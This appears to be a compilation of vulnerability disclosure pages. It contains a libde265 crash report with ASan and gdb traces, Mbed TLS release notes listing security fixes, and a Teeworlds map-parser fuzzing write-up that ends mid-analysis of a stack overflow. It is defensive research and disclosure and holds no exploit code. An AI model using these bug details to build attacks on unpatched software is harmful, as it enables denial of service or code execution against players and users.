An issue has been found in libde265 v1.0.8 due to incorrect access control. A SEGV caused by a READ memory access in function derive_boundaryStrength of deblock.cc has occurred. The vulnerability causes a segmentation fault and application crash, which leads to remote denial of service.

Hello,  
A SEGV of deblock.cc in function derive\_boundaryStrength has occurred when running program dec265，

source code

    283 if ((edgeFlags & transformEdgeMask) &&
    284              (img->get_nonzero_coefficient(xDi   ,yDi) ||
    285               img->get_nonzero_coefficient(xDiOpp,yDiOpp))) {
    286            bS = 1;
    287          }
    288          else {
    289
    290            bS = 0;
    291
    292            const PBMotion& mviP = img->get_mv_info(xDiOpp,yDiOpp);
    293            const PBMotion& mviQ = img->get_mv_info(xDi   ,yDi);
    294
    295            slice_segment_header* shdrP = img->get_SliceHeader(xDiOpp,yDiOpp);
    296            slice_segment_header* shdrQ = img->get_SliceHeader(xDi   ,yDi);
    297
    298            int refPicP0 = mviP.predFlag[0] ? shdrP->RefPicList[0][ mviP.refIdx[0] ] : -1;
    299            int refPicP1 = mviP.predFlag[1] ? shdrP->RefPicList[1][ mviP.refIdx[1] ] : -1;
    300            int refPicQ0 = mviQ.predFlag[0] ? shdrQ->RefPicList[0][ mviQ.refIdx[0] ] : -1;
    301            int refPicQ1 = mviQ.predFlag[1] ? shdrQ->RefPicList[1][ mviQ.refIdx[1] ] : -1;
    302
    303            bool samePics = ((refPicP0==refPicQ0 && refPicP1==refPicQ1) ||
    304                             (refPicP0==refPicQ1 && refPicP1==refPicQ0));
    

**Due to incorrect access control, a SEGV caused by a READ memory access occurred at line 298 of the code. This issue can cause a Denial of Service attack.**

System info：  
Ubuntu 20.04.1 : clang 10.0.0 , gcc 9.3.0

Dec265 v1.0.8

poc.zip

Verification steps：  
1.Get the source code of libde265  
2.Compile

    cd libde265
    mkdir build && cd build
    cmake ../ -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_CXX_FLAGS="fsanitize=address"
    make -j 32
    

3.run dec265(without asan)

Output

    WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
    WARNING: CTB outside of image area (concealing stream error...)
    WARNING: CTB outside of image area (concealing stream error...)
    Segmentation fault(core dumped)
    
    

AddressSanitizer output

    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==3532158==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000003d0 (pc 0x7f19b4f52978 bp 0x616000001580 sp 0x7fff00e87c20 T0)
    ==3532158==The signal is caused by a READ memory access.
    ==3532158==Hint: address points to the zero page.
        #0 0x7f19b4f52977 in derive_boundaryStrength(de265_image*, bool, int, int, int, int) /home/dh/sda3/libde265-master/libde265-master/libde265/deblock.cc:298
        #1 0x7f19b4f56835 in apply_deblocking_filter(de265_image*) /home/dh/sda3/libde265-master/libde265-master/libde265/deblock.cc:1046
        #2 0x7f19b4f7e626 in decoder_context::run_postprocessing_filters_sequential(de265_image*) /home/dh/sda3/libde265-master/libde265-master/libde265/decctx.cc:1880
        #3 0x7f19b4f9baa0 in decoder_context::decode_some(bool*) /home/dh/sda3/libde265-master/libde265-master/libde265/decctx.cc:769
        #4 0x7f19b4f9f95e in decoder_context::decode(int*) /home/dh/sda3/libde265-master/libde265-master/libde265/decctx.cc:1329
        #5 0x55704ed8c8fd in main /home/dh/sda3/libde265-master/libde265-master/dec265/dec265.cc:764
        #6 0x7f19b4aee0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #7 0x55704ed8f76d in _start (/home/dh/sda3/libde265-master/libde265-master/dec265+0xa76d)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /home/dh/sda3/libde265-master/libde265-master/libde265/deblock.cc:298 in derive_boundaryStrength(de265_image*, bool, int, int, int, int)
    ==3532158==ABORTING
    
    
    
    

gdb info

    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
    WARNING: non-existing reference picture accessed
    WARNING: non-existing reference picture accessed
    WARNING: non-existing reference picture accessed
    WARNING: non-existing reference picture accessed
    WARNING: non-existing reference picture accessed
    WARNING: non-existing reference picture accessed
    WARNING: CTB outside of image area (concealing stream error...)
    WARNING: CTB outside of image area (concealing stream error...)
    
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    RAX: 0x0 
    RBX: 0x2 
    RCX: 0x61b000001580 --> 0xbebebebe00000000 
    RDX: 0x0 
    RSI: 0x7a ('z')
    RDI: 0x3d0 
    RBP: 0x616000001580 --> 0xbebebebe00000007 
    RSP: 0x7fffffff36e0 --> 0x3000000000 --> 0x0 
    RIP: 0x7ffff724b978 (<derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6024>:	mov    ebx,DWORD PTR [r9+r15*4+0x3b8])
    R8 : 0x3 
    R9 : 0x0 
    R10: 0x6330000d6800 --> 0x8ffff00000101 
    R11: 0x6330000d6200 --> 0x60101 
    R12: 0x0 
    R13: 0xffffffffffffff90 
    R14: 0x7ffff31ff800 --> 0xbebebebebebebebe 
    R15: 0x6
    EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x7ffff724b96e <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6014>:	
        jl     0x7ffff724b978 <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6024>
       0x7ffff724b970 <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6016>:	test   dl,dl
       0x7ffff724b972 <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6018>:	
        jne    0x7ffff724dd87 <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+15255>
    => 0x7ffff724b978 <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6024>:	mov    ebx,DWORD PTR [r9+r15*4+0x3b8]
       0x7ffff724b980 <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6032>:	mov    edx,0x376d
       0x7ffff724b985 <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6037>:	mov    eax,0xafce
       0x7ffff724b98a <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6042>:	lea    r15,[r11+0x1]
       0x7ffff724b98e <derive_boundaryStrength(de265_image*, bool, int, int, int, int)+6046>:	mov    rdi,r15
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffff36e0 --> 0x3000000000 --> 0x0 
    0008| 0x7fffffff36e8 --> 0x6160000016f8 --> 0x4000000080 --> 0x0 
    0016| 0x7fffffff36f0 --> 0x6160000016e8 --> 0x625000057900 --> 0x0 
    0024| 0x7fffffff36f8 --> 0xa000000080 --> 0x0 
    0032| 0x7fffffff3700 --> 0x1 
    0040| 0x7fffffff3708 --> 0xbf000000c0 --> 0x0 
    0048| 0x7fffffff3710 --> 0x61600000167c --> 0x4000000003 --> 0x0 
    0056| 0x7fffffff3718 --> 0xff00f800 --> 0x0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x00007ffff724b978 in derive_boundaryStrength (img=img@entry=0x616000001580, 
        vertical=vertical@entry=0x0, yStart=yStart@entry=0x0, 
        yEnd=<optimized out>, xStart=xStart@entry=0x0, xEnd=<optimized out>)
        at /home/dh/sda3/AFLplusplus/libde265-master/libde265-master-afl++/libde265/deblock.cc:298
    298	            int refPicP0 = mviP.predFlag[0] ? shdrP->RefPicList[0][ mviP.refIdx[0] ] : -1;

CVE-2021-36411: A SEGV has occurred when running program dec265 · Issue #302 · strukturag/libde265

In Mbed TLS before 2.28.0 and 3.x before 3.1.0, psa_cipher_generate_iv and psa_cipher_encrypt allow policy bypass or oracle-based decryption when the output buffer is at memory locations accessible to an untrusted application.

**Description**

This release of Mbed TLS provides bug fixes and minor enhancements. This release includes fixes for security issues.

**Security Advisories**

For full details, please see the following links:

https://tls.mbed.org/tech-updates/security-advisories/mbedtls-security-advisory-2021-12

**Release Notes**

API changes

*   New error code for GCM: MBEDTLS\_ERR\_GCM\_BUFFER\_TOO\_SMALL.  
    Alternative GCM implementations are expected to verify  
    the length of the provided output buffers and to return the  
    MBEDTLS\_ERR\_GCM\_BUFFER\_TOO\_SMALL in case the buffer length is too small.
*   You can configure groups for a TLS key exchange with the new function  
    mbedtls\_ssl\_conf\_groups(). It extends mbedtls\_ssl\_conf\_curves().
*   Declare a number of structure fields as public: the fields of  
    mbedtls\_ecp\_curve\_info, the fields describing the result of ASN.1 and  
    X.509 parsing, and finally the field fd of mbedtls\_net\_context on  
    POSIX/Unix-like platforms.

Requirement changes

*   Sign-magnitude and one's complement representations for signed integers are  
    not supported. Two's complement is the only supported representation.

New deprecations

*   Deprecate mbedtls\_ssl\_conf\_curves() in favor of the more generic  
    mbedtls\_ssl\_conf\_groups().

Removals

*   Remove the partial support for running unit tests via Greentea on Mbed OS,  
    which had been unmaintained since 2018.

Features

*   Enable support for Curve448 via the PSA API. Contributed by  
    Archana Madhavan in #4626. Fixes #3399 and #4249.
*   The identifier of the CID TLS extension can be configured by defining  
    MBEDTLS\_TLS\_EXT\_CID at compile time.
*   Implement the PSA multipart AEAD interface, currently supporting  
    ChaChaPoly and GCM.
*   Warn if errors from certain functions are ignored. This is currently  
    supported on GCC-like compilers and on MSVC and can be configured through  
    the macro MBEDTLS\_CHECK\_RETURN. The warnings are always enabled  
    (where supported) for critical functions where ignoring the return  
    value is almost always a bug. Enable the new configuration option  
    MBEDTLS\_CHECK\_RETURN\_WARNING to get warnings for other functions. This  
    is currently implemented in the AES, DES and md modules, and will be  
    extended to other modules in the future.
*   Add missing PSA macros declared by PSA Crypto API 1.0.0:  
    PSA\_ALG\_IS\_SIGN\_HASH, PSA\_ALG\_NONE, PSA\_HASH\_BLOCK\_LENGTH, PSA\_KEY\_ID\_NULL.
*   Add support for CCM\*-no-tag cipher to the PSA.  
    Currently only 13-byte long IV's are supported.  
    For decryption a minimum of 16-byte long input is expected.  
    These restrictions may be subject to change.
*   Add new API mbedtls\_ct\_memcmp for constant time buffer comparison.
*   Add functions to get the IV and block size from cipher\_info structs.
*   Add functions to check if a cipher supports variable IV or key size.
*   Add the internal implementation of and support for CCM to the PSA multipart  
    AEAD interface.
*   Mbed TLS provides a minimum viable implementation of the TLS 1.3  
    protocol. See docs/architecture/tls13-support.md for the definition of  
    the TLS 1.3 Minimum Viable Product (MVP). The MBEDTLS\_SSL\_PROTO\_TLS1\_3  
    configuration option controls the enablement of the support. The APIs  
    mbedtls\_ssl\_conf\_min\_version() and mbedtls\_ssl\_conf\_max\_version() allow  
    to select the 1.3 version of the protocol to establish a TLS connection.
*   Add PSA API definition for ARIA.

Security

*   Zeroize several intermediate variables used to calculate the expected  
    value when verifying a MAC or AEAD tag. This hardens the library in  
    case the value leaks through a memory disclosure vulnerability. For  
    example, a memory disclosure vulnerability could have allowed a  
    man-in-the-middle to inject fake ciphertext into a DTLS connection.
*   In psa\_aead\_generate\_nonce(), do not read back from the output buffer.  
    This fixes a potential policy bypass or decryption oracle vulnerability  
    if the output buffer is in memory that is shared with an untrusted  
    application.
*   In psa\_cipher\_generate\_iv() and psa\_cipher\_encrypt(), do not read back  
    from the output buffer. This fixes a potential policy bypass or decryption  
    oracle vulnerability if the output buffer is in memory that is shared with  
    an untrusted application.
*   Fix a double-free that happened after mbedtls\_ssl\_set\_session() or  
    mbedtls\_ssl\_get\_session() failed with MBEDTLS\_ERR\_SSL\_ALLOC\_FAILED  
    (out of memory). After that, calling mbedtls\_ssl\_session\_free()  
    and mbedtls\_ssl\_free() would cause an internal session buffer to  
    be free()'d twice.

Bugfix

*   Stop using reserved identifiers as local variables. Fixes #4630.
*   The GNU makefiles invoke python3 in preference to python except on Windows.  
    The check was accidentally not performed when cross-compiling for Windows  
    on Linux. Fix this. Fixes #4774.
*   Prevent divide by zero if either of PSA\_CIPHER\_ENCRYPT\_OUTPUT\_SIZE() or  
    PSA\_CIPHER\_UPDATE\_OUTPUT\_SIZE() were called using an asymmetric key type.
*   Fix a parameter set but unused in psa\_crypto\_cipher.c. Fixes #4935.
*   Don't use the obsolete header path sys/fcntl.h in unit tests.  
    These header files cause compilation errors in musl.  
    Fixes #4969.
*   Fix missing constraints on x86\_64 and aarch64 assembly code  
    for bignum multiplication that broke some bignum operations with  
    (at least) Clang 12.  
    Fixes #4116, #4786, #4917, #4962.
*   Fix mbedtls\_cipher\_crypt: AES-ECB when MBEDTLS\_USE\_PSA\_CRYPTO is enabled.
*   Failures of alternative implementations of AES or DES single-block  
    functions enabled with MBEDTLS\_AES\_ENCRYPT\_ALT, MBEDTLS\_AES\_DECRYPT\_ALT,  
    MBEDTLS\_DES\_CRYPT\_ECB\_ALT or MBEDTLS\_DES3\_CRYPT\_ECB\_ALT were ignored.  
    This does not concern the implementation provided with Mbed TLS,  
    where this function cannot fail, or full-module replacements with  
    MBEDTLS\_AES\_ALT or MBEDTLS\_DES\_ALT. Reported by Armelle Duboc in #1092.
*   Some failures of HMAC operations were ignored. These failures could only  
    happen with an alternative implementation of the underlying hash module.
*   Fix the error returned by psa\_generate\_key() for a public key. Fixes #4551.
*   Fix compile-time or run-time errors in PSA  
    AEAD functions when ChachaPoly is disabled. Fixes #5065.
*   Remove PSA'a AEAD finish/verify output buffer limitation for GCM.  
    The requirement of minimum 15 bytes for output buffer in  
    psa\_aead\_finish() and psa\_aead\_verify() does not apply to the built-in  
    implementation of GCM.
*   Move GCM's update output buffer length verification from PSA AEAD to  
    the built-in implementation of the GCM.  
    The requirement for output buffer size to be equal or greater then  
    input buffer size is valid only for the built-in implementation of GCM.  
    Alternative GCM implementations can process whole blocks only.
*   Fix the build of sample programs when neither MBEDTLS\_ERROR\_C nor  
    MBEDTLS\_ERROR\_STRERROR\_DUMMY is enabled.
*   Fix PSA\_ALG\_RSA\_PSS verification accepting an arbitrary salt length.  
    This algorithm now accepts only the same salt length for verification  
    that it produces when signing, as documented. Use the new algorithm  
    PSA\_ALG\_RSA\_PSS\_ANY\_SALT to accept any salt length. Fixes #4946.
*   The existing predicate macro name PSA\_ALG\_IS\_HASH\_AND\_SIGN is now reserved  
    for algorithm values that fully encode the hashing step, as per the PSA  
    Crypto API specification. This excludes PSA\_ALG\_RSA\_PKCS1V15\_SIGN\_RAW and  
    PSA\_ALG\_ECDSA\_ANY. The new predicate macro PSA\_ALG\_IS\_SIGN\_HASH covers  
    all algorithms that can be used with psa\_{sign,verify}\_hash(), including  
    these two.
*   Fix issue in Makefile on Linux with SHARED=1, that caused shared libraries  
    not to list other shared libraries they need.
*   Fix a bug in mbedtls\_gcm\_starts() when the bit length of the iv  
    exceeds 2^32. Fixes #4884.
*   Fix an uninitialized variable warning in test\_suite\_ssl.function with GCC  
    version 11.
*   Fix the build when no SHA2 module is included. Fixes #4930.
*   Fix the build when only the bignum module is included. Fixes #4929.
*   Fix a potential invalid pointer dereference and infinite loop bugs in  
    pkcs12 functions when the password is empty. Fix the documentation to  
    better describe the inputs to these functions and their possible values.  
    Fixes #5136.
*   The key usage flags PSA\_KEY\_USAGE\_SIGN\_MESSAGE now allows the MAC  
    operations psa\_mac\_compute() and psa\_mac\_sign\_setup().
*   The key usage flags PSA\_KEY\_USAGE\_VERIFY\_MESSAGE now allows the MAC  
    operations psa\_mac\_verify() and psa\_mac\_verify\_setup().

Changes

*   Explicitly mark the fields mbedtls\_ssl\_session.exported and  
    mbedtls\_ssl\_config.respect\_cli\_pref as private. This was an  
    oversight during the run-up to the release of Mbed TLS 3.0.  
    The fields were never intended to be public.
*   Implement multi-part CCM API.  
    The multi-part functions: mbedtls\_ccm\_starts(), mbedtls\_ccm\_set\_lengths(),  
    mbedtls\_ccm\_update\_ad(), mbedtls\_ccm\_update(), mbedtls\_ccm\_finish()  
    were introduced in mbedTLS 3.0 release, however their implementation was  
    postponed until now.  
    Implemented functions support chunked data input for both CCM and CCM\*  
    algorithms.
*   Remove MBEDTLS\_SSL\_EXPORT\_KEYS, making it always on and increasing the  
    code size by about 80B on an M0 build. This option only gated an ability  
    to set a callback, but was deemed unnecessary as it was yet another define  
    to remember when writing tests, or test configurations. Fixes #4653.
*   Improve the performance of base64 constant-flow code. The result is still  
    slower than the original non-constant-flow implementation, but much faster  
    than the previous constant-flow implementation. Fixes #4814.
*   Ignore plaintext/ciphertext lengths for CCM\*-no-tag operations.  
    For CCM\* encryption/decryption without authentication, input  
    length will be ignored.
*   Indicate in the error returned if the nonce length used with  
    ChaCha20-Poly1305 is invalid, and not just unsupported.
*   The mbedcrypto library includes a new source code module constant\_time.c,  
    containing various functions meant to resist timing side channel attacks.  
    This module does not have a separate configuration option, and functions  
    from this module will be included in the build as required. Currently  
    most of the interface of this module is private and may change at any  
    time.
*   The generated configuration-independent files are now automatically  
    generated by the CMake build system on Unix-like systems. This is not  
    yet supported when cross-compiling.

**Who should update**

We recommend all users should update to take advantage of the bug fixes contained in this release at an appropriate point in their development lifecycle.

**Checksum**

The SHA256 hashes for the archives are:

b02df6f68dd1537e115a8497d5c173dc71edc55ad084756e57a30f951b725acd mbedtls-3.1.0.tar.gz  
8ec791eaed8332c50cade2bcc17b75ae5931ac00824a761b5aa4e7586645b72b mbedtls-3.1.0.zip

CVE-2021-45450: Release Mbed TLS 3.1.0 · Mbed-TLS/mbedtls

Mbed TLS before 3.0.1 has a double free in certain out-of-memory conditions, as demonstrated by an mbedtls_ssl_set_session() failure.

**Description**

This release of Mbed TLS provides bug fixes and minor enhancements. This release includes fixes for security issues.

This is the last release of the 2.16 long-time support branch. Users who want a long-time branch should move to mbedtls-2.28, which is backward-compatible and will be supported for at least 3 years.

**Security Advisories**

For full details, please see the following links:

https://tls.mbed.org/tech-updates/security-advisories/mbedtls-security-advisory-2021-12

**Release Notes**

Security

*   Zeroize several intermediate variables used to calculate the expected  
    value when verifying a MAC or AEAD tag. This hardens the library in  
    case the value leaks through a memory disclosure vulnerability. For  
    example, a memory disclosure vulnerability could have allowed a  
    man-in-the-middle to inject fake ciphertext into a DTLS connection.
*   Fix a double-free that happened after mbedtls\_ssl\_set\_session() or  
    mbedtls\_ssl\_get\_session() failed with MBEDTLS\_ERR\_SSL\_ALLOC\_FAILED  
    (out of memory). After that, calling mbedtls\_ssl\_session\_free()  
    and mbedtls\_ssl\_free() would cause an internal session buffer to  
    be free()'d twice.

Bugfix

*   Stop using reserved identifiers as local variables. Fixes #4630.
*   The GNU makefiles invoke python3 in preference to python except on Windows.  
    The check was accidentally not performed when cross-compiling for Windows  
    on Linux. Fix this. Fixes #4774.
*   Mark basic constraints critical as appropriate. Note that the previous  
    entry for this fix in the 2.16.10 changelog was in error, and it was not  
    included in the 2.16.10 release as was stated.  
    Make 'mbedtls\_x509write\_crt\_set\_basic\_constraints' consistent with RFC  
    5280 4.2.1.9 which says: "Conforming CAs MUST include this extension in  
    all CA certificates that contain public keys used to validate digital  
    signatures on certificates and MUST mark the extension as critical in  
    such certificates." Previous to this change, the extension was always  
    marked as non-critical. This was fixed by #4044.
*   Fix missing constraints on x86\_64 assembly code for bignum multiplication  
    that broke some bignum operations with (at least) Clang 12.  
    Fixes #4116, #4786, #4917.
*   Failures of alternative implementations of AES or DES single-block  
    functions enabled with MBEDTLS\_AES\_ENCRYPT\_ALT, MBEDTLS\_AES\_DECRYPT\_ALT,  
    MBEDTLS\_DES\_CRYPT\_ECB\_ALT or MBEDTLS\_DES3\_CRYPT\_ECB\_ALT were ignored.  
    This does not concern the implementation provided with Mbed TLS,  
    where this function cannot fail, or full-module replacements with  
    MBEDTLS\_AES\_ALT or MBEDTLS\_DES\_ALT. Reported by Armelle Duboc in #1092.
*   Some failures of HMAC operations were ignored. These failures could only  
    happen with an alternative implementation of the underlying hash module.
*   Fix the build of sample programs when neither MBEDTLS\_ERROR\_C nor  
    MBEDTLS\_ERROR\_STRERROR\_DUMMY is enabled.
*   Fix a bug in mbedtls\_gcm\_starts() when the bit length of the iv  
    exceeds 2^32. Fixes #4884.
*   Fix the build when no SHA2 module is included. Fixes #4930.
*   Fix the build when only the bignum module is included. Fixes #4929.
*   Fix a potential invalid pointer dereference and infinite loop bugs in  
    pkcs12 functions when the password is empty. Fix the documentation to  
    better describe the inputs to these functions and their possible values.  
    Fixes #5136.

Changes

*   Improve the performance of base64 constant-flow code. The result is still  
    slower than the original non-constant-flow implementation, but much faster  
    than the previous constant-flow implementation. Fixes #4814.

**Who should update**

We recommend all users should update to take advantage of the bug fixes contained in this release at an appropriate point in their development lifecycle.

**Checksum**

The SHA256 hashes for the archives are:

294871ab1864a65d0b74325e9219d5bcd6e91c34a3c59270c357bb9ae4d5c393 mbedtls-2.16.12.tar.gz  
1a3169e7016e7a737ea7904a7108aac7f97668f79baee6165dee9ba596cf7c10 mbedtls-2.16.12.zip

CVE-2021-44732: Release Mbed TLS 2.16.12 · Mbed-TLS/mbedtls

Teeworlds up to and including 0.7.5 is vulnerable to Buffer Overflow. A map parser does not validate m_Channels value coming from a map file, leading to a buffer overflow. A malicious server may offer a specially crafted map that will overwrite client's stack causing denial of service or code execution.

**tl;dr**: Using AFLplusplus for fuzzing map parser in Teeworlds. Two different approaches (quick and thorough) result in 15 crashes in total (one exploitable).

**Intro**

Games that support loading custom maps have to deal with parsing pretty complex files and complexity may lead to bugs. It may be especially important for online games, where players connecting to a server download and parse missing map files. If players can to set up their servers and offer custom maps then this process may be abused. A malicious server may cause unaware players to download a specially crafted map and cause unexpected behavior (desirable code execution). I decided to focus more on that topic and select an online game that can serve custom maps to players joining a game.

As my first target, I chose Teeworlds, an online shooter that I had analyzed before but from a different angle. The game has a map editor and players joining a game automatically download a missing map. This behavior makes this game a great candidate for research.

**Preparation**

The game’s source code is available at GitHub and documented instructions are enough to build the game on Ubuntu 20.04. However, before building the game with AFLplusplus I had to introduce some changes to the code to make fuzzing possible and efficient - more details in a moment.

Besides the code changes, I also needed input files. I decided to take the smallest original map that is available in the game.

    $ ls -laS datasrc/maps/
    total 348
    [...]
    -rw-rw-r--  1 m m  5731 Oct 22 16:19 ctf1.map
    [...]
    

Its size was quite big but at least the map was valid and I was sure that it parses correctly.

**Approach 1 - quick**

Running the game to parse a map has its drawbacks. When the game starts it loads a map from a file and then during the whole gameplay uses its data for rendering, calculations, and so on. I had to decide at which moment of execution I want to stop it. I was curious if bugs are more likely to happen in code that is responsible for reading a map from a file and preparing data structures or rather in later phases when this data is being used. There was nothing left to do but check both cases.

So for the first case, I took stopping the game immediately after parsing a file. I found a suitable place in the code - after all necessary initialization - and invoked parsing a map. A filename passed to a method was hardcoded because in a normal situation a client receives a filename from a server.

    diff --git a/src/engine/client/client.cpp b/src/engine/client/client.cpp
    index b9a2e014..4b5a9e16 100644
    --- a/src/engine/client/client.cpp
    +++ b/src/engine/client/client.cpp
    @@ -1842,6 +1842,10 @@ void CClient::InitInterfaces()
            m_Blacklist.Init();
            m_DemoRecorder.Init(Console(), m_pStorage);
            m_DemoPlayer.Init(Console(), m_pStorage);
    +
    +       __AFL_INIT();
    +       m_pMap->Load("maps/666.map");
    +       exit(0);
     }
    

At that point, I was ready to build and start fuzzing.

**Approach 2 - thorough**

When the process of fuzzing the first case was ongoing, I looked into the source code again to cause the game to parse and really use map data but also to exit in a reasonable time. In this case, communication with a server was necessary to cause the gameplay to start.

I ended up introducing the following changes:

1.  Disable CRC and SHA256 checksum checking - these values are sent by a server just to be sure that both sides use the same file. For fuzzing, those checks could be ignored.
2.  Exit the game after 150 frames. This value was chosen as the result of experimentation and was enough for the game to display a map on the screen.

    diff --git a/src/engine/client/client.cpp b/src/engine/client/client.cpp
    index b9a2e014..4b5a9e16 100644
    --- a/src/engine/client/client.cpp
    +++ b/src/engine/client/client.cpp
    @@ -810,7 +810,7 @@ const char *CClient::LoadMap(const char *pName, const char *pFilename, const SHA
                    return aErrorMsg;
            }
     
    -       if(pWantedSha256 && m_pMap->Sha256() != *pWantedSha256)
    +       if(0 && pWantedSha256 && m_pMap->Sha256() != *pWantedSha256)
            {
                    char aSha256[SHA256_MAXSTRSIZE];
                    char aWantedSha256[SHA256_MAXSTRSIZE];
    @@ -823,7 +823,7 @@ const char *CClient::LoadMap(const char *pName, const char *pFilename, const SHA
            }
     
            // get the crc of the map
    -       if(m_pMap->Crc() != WantedCrc)
    +       if(0 && m_pMap->Crc() != WantedCrc)
            {
                    str_format(aErrorMsg, sizeof(aErrorMsg), "map differs from the server. found = %08x wanted = %08x", m_pMap->Crc(), WantedCrc);
                    m_pConsole->Print(IConsole::OUTPUT_LEVEL_ADDINFO, "client", aErrorMsg);
    @@ -1999,7 +2003,7 @@ void CClient::Run()
            char aBuf[256];
            str_format(aBuf, sizeof(aBuf), "netversion %s", GameClient()->NetVersion());
            m_pConsole->Print(IConsole::OUTPUT_LEVEL_STANDARD, "client", aBuf);
    -       if(str_comp(GameClient()->NetVersionHashUsed(), GameClient()->NetVersionHashReal()))
    +       if(0 && str_comp(GameClient()->NetVersionHashUsed(), GameClient()->NetVersionHashReal()))
            {
                    m_pConsole->Print(IConsole::OUTPUT_LEVEL_STANDARD, "client", "WARNING: netversion hash differs");
            }
    @@ -2128,7 +2132,10 @@ void CClient::Run()
                                    // when we are stress testing only render every 10th frame
                                    if(!Config()->m_DbgStress || (m_RenderFrames%10) == 0 )
                                    {
    +                                       static int fuzz_counter = 0;
    +                                       fuzz_counter++;
                                            Render();
    +                                       if (fuzz_counter == 150) exit(0);
                                            m_pGraphics->Swap();
    

To make the fuzzing work, I had to run the server and make the fuzzed client connect to it. Hopefully, all necessary options were already implemented as command line parameters.

    $ echo 'sv_map 666' > config.cfg
    $ ./teeworlds_srv -f config.cfg
    

    $ ./afl-fuzz -f /home/mmm/teeworlds/build/data/maps/666.map -i - -o /home/mmm/output -t 5000 -- ./teeworlds "connect 127.0.0.1" "gfx_fullscreen 0" "gfx_screen_height 240" "gfx_screen_width 360"
    

The -f parameter points to a file where AFLplusplus was saving its mutated input. Even though the client was connecting to the server, it was noticing that already had a map with the desired name so it was loading it from the disk instead of downloading from the server.

An additional profit of this approach was the possibility to observe what the fuzzer was changing in the map file. It didn’t have any value for the fuzzing but at least was fun to watch.

**Coverage**

After approximately 24 hours I decided to check the results. To my surprise, both approaches turned out to be successful. The first approach was much faster but covered less code than the painfully slow second approach.

I used afl-cov to generate code coverage reports for the initial test case as well as for all entries generated by AFL during the fuzzing. In that way, it’s visible how much code the fuzzing actually covered.

*   First approach
    *   initial test case - lines: **5.2%**, functions: **7.9%**
    *   whole fuzzing - lines: **5.3**, functions: **8.1%**
*   Second approach
    *   initial test case - lines: **26.7%**, functions: **35.4%**
    *   whole fuzzing - lines: **29.2%**, functions: **37%**

Commands used for generating a report for:

*   the initial test case
    
        afl-cov -d /home/mmm/teeworlds/output/ --coverage-cmd "./teeworlds 'connect 127.0.0.1' 'gfx_fullscreen 0' 'gfx_screen_height 240' 'gfx_screen_width 360'" --code-dir /home/mmm/teeworlds-afl-cov/  --afl-file /home/mmm/teeworlds-afl-cov/build/data/maps/666.map --afl-queue-id-limit 1
        
    
*   all entries
    
        afl-cov -d /home/mmm/teeworlds/output/ --coverage-cmd "./teeworlds 'connect 127.0.0.1' 'gfx_fullscreen 0' 'gfx_screen_height 240' 'gfx_screen_width 360'" --code-dir /home/mmm/teeworlds-afl-cov/  --afl-file /home/mmm/teeworlds-afl-cov/build/data/maps/666.map
        
    

The --afl-file parameter may look unfamiliar because I implemented it for this specific case. At the moment of writing, afl-cov does not support passing an input file in a way that AFL’s -f parameter does. The change is currently available here.

**Results**

The first approach resulted in **4** unique crashes. The second approach was responsible for **11** more unique crashes.

I reported all crashes on GitHub:

*   Null pointer dereference (read)
    *   https://github.com/teeworlds/teeworlds/issues/2968
    *   https://github.com/teeworlds/teeworlds/issues/2973
    *   https://github.com/teeworlds/teeworlds/issues/2980
*   Heap buffer overflow (read)
    *   https://github.com/teeworlds/teeworlds/issues/2969
    *   https://github.com/teeworlds/teeworlds/issues/2971
    *   https://github.com/teeworlds/teeworlds/issues/2972
    *   https://github.com/teeworlds/teeworlds/issues/2974
    *   https://github.com/teeworlds/teeworlds/issues/2975
    *   https://github.com/teeworlds/teeworlds/issues/2976
    *   https://github.com/teeworlds/teeworlds/issues/2977
    *   https://github.com/teeworlds/teeworlds/issues/2978
    *   https://github.com/teeworlds/teeworlds/issues/2979
    *   https://github.com/teeworlds/teeworlds/issues/2982
*   Stack buffer overflow (write)
    *   https://github.com/teeworlds/teeworlds/issues/2981 (CVE-2021-43518)
*   Use after free (read)
    *   https://github.com/teeworlds/teeworlds/issues/2970

**Crash analysis**

From those crashes, the one related to writing on the stack seemed to be most interesting.

    ==33805==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffffffd8f78 at pc 0x5555556fae80 bp 0x7ffffffd8e10 sp 0x7ffffffd8e00
    WRITE of size 4 at 0x7ffffffd8f78 thread T0
        #0 0x5555556fae7f in CMapLayers::LoadEnvPoints(CLayers const*, array<CEnvPoint, allocator_default<CEnvPoint> >&) /home/osboxes/teeworlds/teeworlds-asan/src/game/client/components/maplayers.cpp:184
        #1 0x5555556fcf3b in CMapLayers::OnMapLoad() /home/osboxes/teeworlds/teeworlds-asan/src/game/client/components/maplayers.cpp:117
        #2 0x555555839981 in CGameClient::OnConnected() /home/osboxes/teeworlds/teeworlds-asan/src/game/client/gameclient.cpp:459
        #3 0x5555555f6755 in CClient::ProcessServerPacket(CNetChunk*) /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1283
        #4 0x5555555f91ce in CClient::PumpNetwork() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1596
        #5 0x5555555f9596 in CClient::Update() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1766
